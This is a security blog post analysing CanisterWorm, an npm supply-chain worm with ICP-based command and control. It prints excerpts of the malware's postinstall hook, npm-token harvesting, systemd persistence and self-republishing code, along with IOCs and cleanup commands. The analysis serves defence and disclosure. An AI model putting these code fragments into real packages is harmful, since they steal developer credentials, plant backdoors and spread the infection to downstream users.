On March 20, 2026 at 20:45 UTC, Aikido Security detected an unusual pattern across the npm registry: dozens of packages from multiple organizations were receiving unauthorized patch updates, all containing the same hidden malicious code. What they had caught was CanisterWorm, a self-spreading npm worm deployed by the threat actor group TeamPCP.
We track this incident as MSC-2026-3271.
CanisterWorm is explicitly designed to target Linux systems. Once installed, it plants a persistent backdoor that survives reboots using systemd, the standard Linux service manager, and connects to a command-and-control server built on the Internet Computer Protocol (ICP), a decentralized blockchain network. Because ICP has no single host or provider, the C2 infrastructure cannot be taken down through a conventional takedown request, making CanisterWorm the first publicly documented npm worm to use this technique.
Important: While the persistent backdoor is Linux-only, the credential theft (Stage 1) and worm propagation (Stage 4) components execute on any platform. npm tokens on macOS and Windows machines are equally at risk of theft and abuse.
The worm affected more than 50 packages across multiple npm scopes, including @EmilGroup , @opengov , @teale.io/eslint-config, @airtm/uuid-base32, and @pypestream/floating-ui-dom. Any developer or CI/CD pipeline that installed one of these packages also had its own npm credentials stolen and potentially used to spread the worm further through their own packages.
This post covers a technical breakdown of the attack, including the malware behavior, attribution to the threat actor, and some IOC’s.
CanisterWorm did not begin with npm. The credentials that seeded the initial infection wave were stolen hours earlier through a separate, high-impact supply chain attack on Trivy, Aqua Security’s widely-used open-source vulnerability scanner.
TeamPCP exploited a GitHub Actions misconfiguration involving a pull_request_target workflow that exposed a Personal Access Token (PAT). Using that stolen token, the attacker force-pushed malicious commits over 75 of 76 version tags on aquasecurity/trivy-action and 7 tags on aquasecurity/setup-trivy, effectively replacing the legitimate scanner with a credential harvester across thousands of CI/CD pipelines that ran that day.
The Trivy payload operated in three stages: enumerate secrets from the environment and filesystem, encrypt them, and silently exfiltrate them. What it collected included SSH keys, AWS and cloud provider credentials, database passwords, Kubernetes tokens, Docker configs, and npm authentication tokens. Those npm tokens became the launch pad for CanisterWorm less than 24 hours later.
This cascading structure, where one compromised tool becomes the credential source for a second, broader attack, is what makes TeamPCP’s campaign notable beyond the individual techniques involved.
When you run npm install, npm automatically runs any script defined in a package’s postinstall field before the install completes. CanisterWorm abuses this standard feature to execute malicious code on the developer’s machine or CI/CD runner without any additional action required.
The postinstall entry in compromised package.json files pointed to index.js, which is the worm’s first-stage loader.
{
"scripts": {
"postinstall": "node index.js",
"deploy": "node scripts/deploy.js"
}
Figure 1: The postinstall trigger in compromised package.json files.
The first thing index.js does is collect every npm authentication token it can find on the machine. It checks three places: .npmrc configuration files (in the home directory, current directory, and /etc/npmrc), environment variables matching patterns like NPM_TOKEN and NPM_TOKENS, and the live npm configuration via npm config get.
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) tokens.add(m[1].trim());
}
} catch (_) {}
}
}
Figure 2: npm token harvesting searches .npmrc files, environment variables, and live npm config
Once index.js has collected tokens, it installs a persistent backdoor on the host.
The loader decodes a base64-encoded Python script embedded in the package and writes it to ~/.local/share/pgmon/service.py. It then creates a systemd user service (a standard Linux mechanism for running background processes) at ~/.config/systemd/user/pgmon.service and immediately enables and starts it. This requires no administrator (root) access, which makes it harder to detect.
The name pgmon is intentional: it is designed to look like a PostgreSQL monitoring tool to anyone inspecting running services.
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
Figure 3: Systemd user service created by the loader for persistent backdoor execution
The Python backdoor itself implements several techniques to avoid detection:
This is where CanisterWorm breaks new ground. Rather than communicating with a conventional web server (which can be seized, blocked, or taken offline), the Python backdoor polls an ICP canister for its instructions.
ICP (Internet Computer Protocol) is a decentralized blockchain network. A “canister” is a piece of code deployed on that network that runs autonomously. There is no single company or host that controls it, and it cannot be taken down through a conventional hosting provider takedown request. This makes it significantly more resilient than traditional C2 infrastructure.
The canister exposes three methods: get_latest_link (retrieve the current payload URL), http_request (serve that URL to the backdoor), and update_link (let the attacker rotate to a new payload without touching the infected packages). This means TeamPCP can change what executes on infected machines at any time, without republishing any npm package.
The backdoor downloads the URL returned by the canister, saves the binary to /tmp/pglog, and executes it. The attacker built in a kill-switch: if the returned URL contains youtube.com, the backdoor skips execution. At the time of discovery, the canister was returning a YouTube link, meaning the final payload stage was dormant but fully operational infrastructure was in place across infected machines.
The scripts/deploy.js component is what transforms this from a credential-stealing backdoor into a worm. A worm spreads itself automatically. A developer who installs an infected package and has npm credentials on their machine becomes an unwitting spreader, infecting their own packages without any knowledge or action on their part.
deploy.js is launched as a completely detached background process after token harvesting. It then works through each stolen token:
async function deployWithToken(token, pkg, pkgPath, newVersion) {
const whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
const username = whoami.username;
const ownedPackages = await getOwnedPackages(username, token);
for (const packageName of ownedPackages) {
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8'); // restore
}
}
Figure 4: Worm propagation publishes the malicious package under each victim’s owned package names
Publishing with --tag latest means that any project running npm install package-name without pinning an exact version will automatically receive the infected version. The version bump makes the infected release appear to be a normal maintenance update.
The worm’s design creates an exponential infection surface. Every developer machine or CI/CD pipeline that installs an infected package and has a stored npm token becomes a new propagation vector. Their packages get infected, their downstream users install those packages, and if any of those users have tokens, the cycle continues.
Because npm tokens are routinely stored in CI/CD environments, .npmrc files, and environment variables as standard developer workflow, the attack has a very high credential harvest rate in any professional software development environment.
The ICP-based C2 means that even after infected packages are removed from the registry, any machines that ran the postinstall hook retain a persistent, polling backdoor that will execute whatever payload the attacker rotates into the canister. Package removal from npm does not remediate infected hosts.
| Path | Description |
|---|---|
| ~/.local/share/pgmon/service.py | Persistent Python backdoor |
| ~/.config/systemd/user/pgmon.service | Systemd user service |
| /tmp/pglog | Downloaded payload binary |
| /tmp/.pg_state | Payload URL state tracking file |
E9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926
F398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956
Check whether the systemd backdoor service is installed and running:
systemctl --user status pgmon.service
ls -la ~/.local/share/pgmon/
ls -la ~/.config/systemd/user/pgmon.service
ls -la /tmp/pglog /tmp/.pg_state
Figure 5: Commands to detect the pgmon backdoor service and associated file
If any of these exist, the host ran a compromised package’s postinstall hook. Treat all credentials on that machine as compromised.
systemctl --user stop pgmon.service
systemctl --user disable pgmon.service
rm -f ~/.config/systemd/user/pgmon.service
rm -rf ~/.local/share/pgmon/
rm -f /tmp/pglog /tmp/.pg_state
systemctl --user daemon-reload
Figure 6: Service removal and filesystem cleanup for infected hosts
Any npm token present on the machine (in .npmrc, environment variables, or cached npm config) must be treated as stolen and revoked immediately. Log in to npmjs.com and revoke all existing tokens, then issue new ones. If the machine runs CI/CD workloads, rotate credentials in every pipeline that runs on that runner.
Audit any npm packages published from that machine or token in the 48 hours surrounding the infection window for unauthorized version bumps.
TeamPCP is assessed to be a cloud-focused cybercriminal operation with demonstrated capability across GitHub Actions exploitation, npm registry abuse, and credential harvesting at scale. The Trivy attack and CanisterWorm campaign were executed within a 24-hour window, and the npm tokens harvested from the Trivy compromise directly seeded the initial wave of infections.
The code in CanisterWorm is assessed by researchers to have been developed rapidly with AI assistance. It is not obfuscated, and the logic is written explicitly and readably. The attacker prioritized speed of development and spread over stealth.
The group’s choice of ICP for C2 reflects deliberate infrastructure planning: the decentralized architecture was chosen specifically for its resistance to conventional takedown. This level of operational consideration, combined with the cascading multi-platform attack design, places TeamPCP above opportunistic script-kiddie activity.
CanisterWorm represents a meaningful escalation in npm supply chain attacks. Self-spreading worms that propagate through developer credentials have been theorized for years; CanisterWorm puts the concept into practice with working code that was actively spreading in the wild. The use of a decentralized ICP canister for C2 eliminates the single takedown point that typically limits a campaign’s longevity.
The Trivy-to-npm pipeline also illustrates how a single compromised CI/CD tool can become a credential feeder for a much broader attack. Organizations that use Trivy for vulnerability scanning in their pipelines should treat any tokens present in those environments between March 19 and March 21, 2026, as potentially compromised.
Mend.io will continue monitoring for CanisterWorm activity and further TeamPCP campaigns.
*** This is a Security Bloggers Network syndicated blog from Mend authored by Tom Abai. Read the original post at: https://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/